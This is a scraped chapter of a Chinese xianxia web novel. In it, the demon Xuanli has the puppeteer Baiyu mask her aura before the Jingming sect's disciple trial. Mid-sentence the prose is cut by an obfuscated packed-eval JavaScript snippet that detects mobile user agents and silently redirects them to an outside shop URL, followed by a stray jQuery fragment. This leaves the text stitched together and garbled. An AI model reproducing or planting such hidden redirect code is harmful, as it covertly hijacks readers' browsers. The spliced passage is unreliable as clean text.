门里的铃铛还在响,一声一声,那些人偶也定定地盯着玄璃。片刻,最前面那个像是认出了什么,身体再次咔咔一响——它的手臂缓缓抬起,关节处僵硬地转了一个角度,指向门内。

    玄璃笑了下:“看来他在,是吗?”

    还以为要跑空一趟了。

    毕竟千相无面的地盘颇多,找不找得到全凭运气。

    当世三大邪魔,玄璃不爱出门走动,刹辛沉寂许久不曾现身,算来都是不易招惹的类型,人不犯我、我不犯人。

    唯独千相无面,他没有固定领地,常混迹于人多繁华之地,那些华美的乐坊高楼,指不定哪间就是他的地盘。相比另外两个,他的性情也难以捉摸得多,正如名号一般古怪莫测,撞上他就得自认倒霉。

    ——若非此次有求于他,玄璃其实也不想来打这个交道。

    外头灯火熠熠,门后却是黑暗一片,一丝光也透不进去。玄璃微微提起裙摆,迈步过门槛,身形瞬间没入那团黑暗中。

    没走几步,左手忽然被牵住了。

    有什么东西轻轻勾住她的手腕,往上提了提,仿佛引路一般,要她朝某个方向转去。

    玄璃心头涌上一阵无语。

    想起这次的来意,她忍了忍没挣,顺着那力道转了身,往黑暗深处走去。

    走了一会儿,一簇幽火在高处无声燃起,那牵着她手腕的东西自黑暗中显出形来,竟是几根透明的傀儡丝。细如发丝,在光下泛着冷冷的光泽。

    玄璃身上仍是那身素裙木簪的装扮,此时不止手腕,身上也丝丝缕缕被线缠住,已是全然受制的姿态。那张漂亮的脸上却冷冷的,很不耐烦的样子。

    那隐在暗处的人犹嫌不够,下一瞬,丝线收紧,令她的右手轻轻抬起,脚下则被牵引着转了小半圈,跳舞似的,裙摆飘飘旋起,又缓缓落下。

    “够了。”玄璃面无表情道,“我要发火了。”

    碍于此行是有求于人,总得摆出点态度。无论是这浓黑空间的幻术,还是身上的傀儡丝,她想破解并不难——为表诚意,才一直忍到了现在。

    “我也是觉得奇怪啊。”黑暗中传来一道懒洋洋的男声,“多试探一下总没错嘛,如此稀客。”

    呼——

    随着这句话音落下,眼前倏地大亮。

    幻术撤去,面前是一座宽阔华美的大殿,地上铺着软毯,四方琉璃珠帘垂落,在烛火下泛着润润的光。

    殿正中是一张软几,上面闲闲坐了一人,身量颀长,半倚半靠,垂落的衣角上绣着暗金的符纹。他生了一双微微上挑的眼,看人时不笑也似在笑,气质则高高疏离,并不温和,但也未展露任何令人生畏的锋芒。

    他腿边还伏着一个人。

    是一个女子,同他一样的黑发雪肤,整个人柔软地贴着他,衣袍宽大铺了一地,乍看十分貌美,可那张脸上没有任何表情,漆黑的瞳仁里映着跳动的烛火,没有一丝活气。

    千相无面,精通傀儡术与画皮之术,论伪装的本事,仙魔两道无人能出其右。

    鲜少有人知道他的真名,玄璃算一个。这样一个邪魔,名字倒是一派风雅,唤作柏玉。乍听还以为是个温润书生。

    而他脚边的女子,是他最珍爱的人偶。相伴多年,渐渐生出了神识,如今已能化形,只是依然口不能言——至少玄璃从没听过她开口说话。

    她静静地伏在那里,望着玄璃慢慢朝这边走来。柏玉没起身,她也一动不动。

    “请随便坐。”柏玉笑道,“方才多有冒犯。”

    玄璃抬手拂开几串垂落的珠帘,又绕过满地的华服金饰,四下看看,最后寻了一方矮塌坐下。

    见她没回话,柏玉又道:“方才那样都没动手,实在不太像你。我以为是别人假扮的,这才多加试探啊。”

    这话自然是假的。世间几乎没有伪装之术能在千相无面这里瞒天过海,真身还是假扮,从她踏入阵法那刻起他就已一清二楚,此番不过是戏弄玄璃的托词罢了。

    玄璃似笑非笑道:“所以我已经给过你脸了。”

    柏玉微微挑眉。

    伏在他腿上的女子像是察觉到什么,慢慢直起身来。他垂眼看了看她,抬手抚在她的发顶,弯起眼重新笑起来:

    “你来得也巧。我正在给桫椤挑衣服,过些日子有事出门,想把她打扮得漂亮些,不如来帮我拿拿主意?”

    怪不得这满地衣饰的,玄璃刚才差点没找到地方下脚。

    她坐着,顺手捞起一件紫云般的长裙,一边打量,随口问道:“是么,要去哪。”

    “自然是庆贺玄同尊者仙逝了。”柏玉轻飘飘道。

    玄璃动作微顿。

    她对外头的人不熟,好一会儿才想起这位玄同尊者是何方人物。七星阁三大剑尊之一,据说剑法已臻化境,放眼天下剑修,能与他并肩者寥寥。

    七星阁啊。

    玄璃脑中一捋,顿时了然。

    系统曾对她提过,谢昀承刚入七星阁不久,就以一己之力破解了千相无面设下的陷阱,自此成名。

    按时间推算,应该就是这一趟了。玄璃不太清楚柏玉跟玄同尊者有什么过节,也不准备问——但很显然,对方正是打算前去七星阁设计杀掉玄同尊者,只是不幸将遇上谢昀承,被那小子识破计谋,最终未能得逞。

    什么叫男主光环。

    一想到柏玉这会儿在她面前优哉游哉、风轻云淡的,实则马上就要跟她一样成为男主的垫脚石,玄璃很难不生出几分幸灾乐祸。

    那头的柏玉全然不知她此时心绪,见她垂眸对着裙子迟迟未动,似在凝神细赏,便问:“这件好看?”

    话末,一根丝线无声探来,勾住裙角从她手中抽走。

    柏玉将裙子随意抖开看了看,试着往桫椤身上比划:“说起来,你今日怎么这副装扮?”

    一边比,一边继续对玄璃发问。

    “你还是穿红色最漂亮,这身不太衬你。”

    “我也觉得。”玄璃没什么表情道,“不过我正是为这件事来的。”

    “那我欣然应允。”

    “不问问是什么事?”

    柏玉疑惑:“不是要我也帮你打扮打扮么?”

    “……”玄璃按了按眉心:“我打算去一趟净明道,你帮我掩藏魔气。”

    “哦?”

    柏玉握着木梳的手微微一顿。桫椤仰起脸看向他,如瀑的黑发从他指间滑落。

    “这倒稀奇。你去那里做什么?”

    玄璃道:“你不用知道。之前欠我一个人情,这回正好清了。”

    柏玉叹了一声:“何必这么冷硬呢?人情不人情的。我一直以为我们关系很好呢。”

    玄璃扯了下嘴角,不搭茬。

    “罢了。”柏玉莞尔,“你特地来找我,总归不会是为了叙旧。”

    他微一抬手,一缕丝线慢慢缠上玄璃的手腕,四面烛火摇曳,这线在光影中时隐时现,幽诡异常。

    玄璃垂眼望着,见那丝线悄无声息沿着腕骨攀行,很快没入体内,消失不见。

    这是千相无面真正令人忌惮之处。傀儡丝不仅能操控肢体,更能植入血肉之中,覆改气息,掩人底细。柏玉本人更是毫无魔气,他的地盘连猾奴都不会有。

    这正是玄璃需要的。

    丝线入体,沿经脉游走贴合,仿佛套上了一层鞘,将玄璃的魔气完全隔绝,既不外露,也不会被净明道的纯净灵气影响。即便旁人有意查探,探到的也只会是柏玉预先封在线中的假气息。

    玄璃尝试运转体内魔息,发现一切如常,只是不能外放——以她的修为,这线实在脆弱得很,稍微使点力就冲断了,须得谨慎小心。

    柏玉也在这时叮嘱:“别打架,断了不补。”

    玄璃问:“修炼灵力功法呢?到时候进了仙门,不做点样子也说不过去。”

    柏玉奇道:“原来是要去拜师学艺?”

    他重新拾起木梳为桫椤整理长发,似要消化这话,片刻,又觉得实在消化不了:“……你若实在闲得没事干,不如随我一同去七星阁。到时候得了什么好东西,分你一半便是。”

    “你先得手了再说吧。”玄璃波澜不动道,“到底能不能,给个准话。”

    “低阶灵力不影响,练练无妨。别太过就行。”

    傀儡丝暂时掩盖了玄璃的纯魔体质,她现在跟一个普通修士毫无区别,灵气浊杂,资质平庸。她略一思索,问:“能修到什么程度。”

    柏玉似笑非笑道:“入门功法比划两下得了,你总不至于真打算在里面高升一番?”

    “……”

    “不过。”他又把话说回来,“你是何时到这里来的?只为寻我么?如此大费周章,那净明道里究竟有什么吸引你。”

    “不止。”玄璃还在试探体内的魔息,垂着眼,漫不经心道,“我还顺手替天行道了一回。你的地界有东西作祟,你完全不管吗?”

    不需继续监听薛洺那边,她猜都能猜到,繁华人城,纸人邪祟,这两者凑在一处,那些仙门怕是又要大惊小怪一通,疑心是千相无面的阴谋了。

    柏玉道:“我看起来很闲吗?”

    玄璃道:“你看起来很会煽风点火。”

    柏玉笑起来:“怎么会。不过它若是有出息,能再多吃几个人,我便正好将它收了。”

    显然,他早就知晓那纸人的存在,只是作壁上观——鬼吃鬼,魔吞魔,若纸人继续壮大,总有一天会被柏玉吞掉,如今阴差阳错被玄璃杀了,倒也算提前给了个痛快。

    玄璃对此不置可否。

    事已办成,柏玉忙着梳妆,不再留客,玄璃也无心久坐。千相无面的地盘阴邪过重,鬼气冲天,即使是她也会觉得不适,把该问的都问清,便起身告辞。

    临转身前,她的目光不经意与柏玉怀里的桫椤碰了一下。

    人偶漆黑的眼珠静静地凝视着她,那神情无悲无喜,美丽而毫无生气。见玄璃看过来,便轻轻冲她点了下头。

    玄璃亦点头回礼。

    解决了心头大患,接下来便是等着净明道开山。

    无所事事,时间便过得极快。一晃几日过去,到了开山那天,琅琊山下果然如预想一般人声鼎沸。

    净明道今日在周边设了禁飞结界,无法御剑,乌泱泱的人群全挤在山下。平日冷清的山道被占得满满当当,连带着方圆几里的茶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964267|214430||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    馆客栈全部生意火爆,满山的灵气似乎都被这股人气冲薄不少。

    三年一度的收徒,不知多少人削尖脑袋想往里钻。

    日头高悬,阶旁山石被晒出一层白光,将远处各色人影扭曲成一团,纷乱嘈杂。

    玄璃寻了一片清凉的树荫,倚着树干向上看去。

    她素不关心外界,那些服饰各异的修士和世家子弟一个都认不得,百无聊赖地看了几眼,又望向山腰,想在人群中寻找叶风禾的身影。

    山腰处人影攒动,净明道弟子穿的是统一的蓝道袍,极易辨认,玄璃一眼扫过,全是陌生面孔。一线天的入口,不断有人进去,隔一会儿,又有人出来,被守在一旁的弟子说了句什么,便面色灰败,垂头下山。

    更下方,等候入谷的人排成了一条长龙,黑压压望不到尾。

    来的路上玄璃听了一下薛洺那边的动静,对方正朝这里赶来,一会儿应该就能碰上。不确定这净明道究竟是什么规矩,总之先排队总没错。

    等玄璃慢吞吞挪到队尾,那入口已经距离她十万八千里。等候的时辰实在漫长无聊,她终于敲了敲许久都没声的系统:“你冬眠了?”

    系统:【本系统一直在线,竭诚为您服务。】

    玄璃:“竭诚就算了吧,你也好意思。你知不知道开山试炼的内容。”

    系统:【此为付费解锁信息,当前余额不足,请先完成任务充值。】

    玄璃:“?”

    系统:【检测到宿主已严重偏离主线剧情,免费查询信息权限已终止。当前粉红值余额:0。请及时充值。】

    还整这死出。

    虽仍对系统那套晦涩的话术一知半解,但不难猜出大概意思。怪不得这几天都没动静。

    玄璃无语了一瞬,倒也没恼,恰在这时,前方忽然一阵喧杂,她的注意被引了过去。

    队伍已行至山脚,前面却不知何故堵了一圈人。一名锦衣少年被两个侍卫模样的人从山道半搀半挟下来,后头还跟着两三个净明道弟子,一路将他们送到山下来。

    被架下来的那位满脸不服,还在不停扭头朝后面的弟子大声叫嚷:“我走得好好的,什么也没干啊!”

    他面色涨红,语气又急又冲,“净明道若是有心收徒,就该先把规则说个明白。摆个不清不楚的阵,把人从大老远招来又直接赶走,算什么道理!”

    这少年容貌白净,衣饰考究,眉宇间自有一股跋扈之气,一看便知出身不凡。

    可这队伍里出身不凡的又不止他一个,背着行囊的散修、布衣草鞋的平民少年、平日里前呼后拥的世家子弟,各色人等全挤在同一条山道上,不分来历,不分贵贱——因净明道的死规矩,没人敢插队,都在老老实实站着等待。

    他的行为很快引起了其他相识之人的注意,站在玄璃前方的少女哈哈大笑起来。

    “方才不是还说‘至多一炷香’便能通关?这分明是半炷香都没撑住嘛!”她扬声朝那边道,“怎么,净明道的阵不认你这号人物吗?”

    少年正满心不忿,被这一嘲,登时气血上涌,直接挣脱旁边的侍卫,指着她的鼻子气势汹汹而来。

    “你有本事?换了你,还指不定如何出丑!”

    那少女也是通身气派,端的是金枝玉叶的样貌,只听她冷冷笑道:“现在出丑的是谁啊?宋明堂,你宋家的名头在这里可行不通,愿赌服输,这般大吵大闹成何体统,我都替你丢脸!”

    玄璃听了半晌,总算捞到一个名字,可系统罢工,光有名字也对不上任何号,只能大致猜出是两家世族子弟在斗气,而那宋家似乎来头不小。

    宋明堂口舌争不过,气得拔出腰间佩剑,被一旁的净明道弟子眼疾手快挥袖击落。

    两个侍卫也重新上前来架他,口中不住劝着“少爷息怒”、“不可在外动手”、“请先回府吧”,宋明堂哇哇大叫,失了佩剑,只能无可奈何地被拖走。

    队伍里不少人伸着脖子看完了这场热闹,对此议论纷纷,那几个弟子却一副见怪不怪的样子,只冲在场人拱一拱手。

    “诸位,一线天设问心阵乃是净明道开山收徒的规矩,历代如此。阵中若感应到来人心念不纯,便会自行将其送出,这并非刁难,更非有意针对。事已至此,各位现在也可再斟酌一二,是否要继续前去。”

    有人问:“怎样算是心念不纯?”

    弟子微笑:“阵法自有判断。”

    队伍中人皆是在日头下苦等了许久,自觉入门拜师的念头足够坚定,因此无人离开。

    玄璃再次抬头朝山腰望了望,不知是不是方才被那宋家少爷大闹过一场,原本不在场的黎襄竟也不知何时出现在那处,一袭白衣立在蓝袍弟子中,十分显目。

    忽然,她微微眯起了眼。

    日光晃了一下。一瞬间玄璃怀疑自己眼花,顿了顿,凝神再次朝那处看去。

    黎襄的身旁不远,那条即将进入一线天的队伍正在缓缓移动。试炼须得一个一个进,这队伍便一步一挪,时走时停,其中一人恰好行进到黎襄身侧,站定。

    日头底下,那张脸沉静如水,和数日前离开九幽谷时一模一样。

    ……谢昀承?